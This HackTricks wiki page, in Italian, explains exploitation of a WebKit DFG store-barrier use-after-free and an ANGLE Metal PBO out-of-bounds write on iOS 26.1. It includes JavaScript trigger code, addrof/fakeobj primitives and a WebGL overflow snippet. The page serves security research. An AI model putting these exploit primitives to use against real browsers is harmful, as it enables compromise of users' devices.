WebKit DFG Store-Barrier UAF + ANGLE PBO OOB (iOS 26.1)
Tip
Impara e pratica il hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos github.
Sommario
- DFG Store Barrier bug (CVE-2025-43529): Nel file
DFGStoreBarrierInsertionPhase.cpp, una Phi node marcata come escaped mentre i suoi Upsilon inputs non lo sono fa sì che la fase salti l’inserimento di una write barrier sui successivi object stores. Sotto pressione del GC questo permette a JSC di liberare oggetti ancora raggiungibili → use-after-free. - Exploit target: Forzare un oggetto Date a materializzare un butterfly (es.,
a[0] = 1.1) così il butterfly viene liberato, poi reclamato come storage per elementi dell’array per creare confusione boxed/unboxed → primitiveaddrof/fakeobj. - ANGLE Metal PBO bug (CVE-2025-14174): Il backend Metal alloca il PBO staging buffer usando
UNPACK_IMAGE_HEIGHTinvece dell’altezza reale della texture. Fornendo un piccolo unpack height e poi eseguendo un grandetexImage2Dsi causa una staging-buffer OOB write (~240KB nel PoC sotto). - PAC blockers on arm64e (iOS 26.1): TypedArray
m_vectore JSArraybutterflysono PAC-signed; forgiare fake objects con puntatori scelti dall’attaccante provoca crash conEXC_BAD_ACCESS/EXC_ARM_PAC. Funziona solo il riuso di butterfly già firmati (reinterpretazione boxed/unboxed).
Innescare la mancanza della barriera DFG → UAF
function triggerUAF(flag, allocCount) {
const A = {p0: 0x41414141, p1: 1.1, p2: 2.2};
arr[arr_index] = A; // Tenure A in old space
const a = new Date(1111); a[0] = 1.1; // Force Date butterfly
// GC pressure
for (let j = 0; j < allocCount; ++j) forGC.push(new ArrayBuffer(0x800000));
const b = {p0: 0x42424242, p1: 1.1};
let f = b; if (flag) f = 1.1; // Phi escapes, Upsilon not escaped
A.p1 = f; // Missing barrier state set up
for (let i = 0; i < 1e6; ++i) {} // GC race window
b.p1 = a; // Store without barrier → frees `a`/butterfly
}
Punti chiave:
- Metti A in old space per esercitare le generational barriers.
- Crea una Date indicizzata in modo che il butterfly sia l’obiettivo liberato.
- Spray
ArrayBuffer(0x800000)per forzare il GC e ampliare la race. - Il mismatch Phi/Upsilon dell’escape impedisce l’inserimento della barrier;
b.p1 = aviene eseguito without a write barrier, quindi il GC reclaima/butterfly.
Rilascio del butterfly → confusione boxed/unboxed
Dopo che il GC libera il Date butterfly, spraya arrays in modo che la slab liberata venga riutilizzata come elementi per due array con diversi element kinds:
boxed_arr[0] = obj; // store as boxed pointer
const addr = ftoi(unboxed_arr[0]); // read as float64 → addr leak
unboxed_arr[0] = itof(addr); // write pointer bits as float
const fake = boxed_arr[0]; // reinterpret as object → fakeobj
Stato su iOS 26.1 (arm64e):
- Funzionante:
addrof,fakeobj, 20+ address leaks per run, inline-slot read/write (on known inline fields). - Non ancora stabile:
read64/write64generalizzati via inline-slot backings.
Vincoli PAC su arm64e (perché fake objects crash)
- TypedArray
m_vectore JSArraybutterflysono PAC-signed; forgiare puntatori causaEXC_BAD_ACCESS/ probabilmenteEXC_ARM_PAC. - La confusion primitive funziona perché riutilizza legitimate signed butterflies; introdurre puntatori unsigned dell’attacker fallisce l’autenticazione.
- Idee di bypass possibili annotate: percorsi JIT che saltano l’auth, gadget che firmano i puntatori dell’attacker, o pivoting tramite l’ANGLE OOB.
ANGLE Metal PBO sotto-allocazione → OOB write
Usa un’altezza di unpack minima per ridurre lo staging buffer, poi carica una texture grande in modo che la copia ecceda:
gl.pixelStorei(gl.UNPACK_IMAGE_HEIGHT, 16); // alloc height
// staging = 256 * 16 * 4 = 16KB
// actual = 256 * 256 * 4 = 256KB → ~240KB OOB
gl.texImage2D(gl.TEXTURE_2D, 0, gl.DEPTH_COMPONENT32F,
256, 256, 0, gl.DEPTH_COMPONENT, gl.FLOAT, 0);
Note:
- Bug in
TextureMtl.cpp: il staging buffer usaUNPACK_IMAGE_HEIGHTinvece dell’altezza reale della texture nel percorso PBO. - Nella reference probe il trigger PBO di WebGL2 è collegato ma non è ancora stato osservato in modo affidabile su iOS 26.1.
Riferimenti
Tip
Impara e pratica il hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos github.


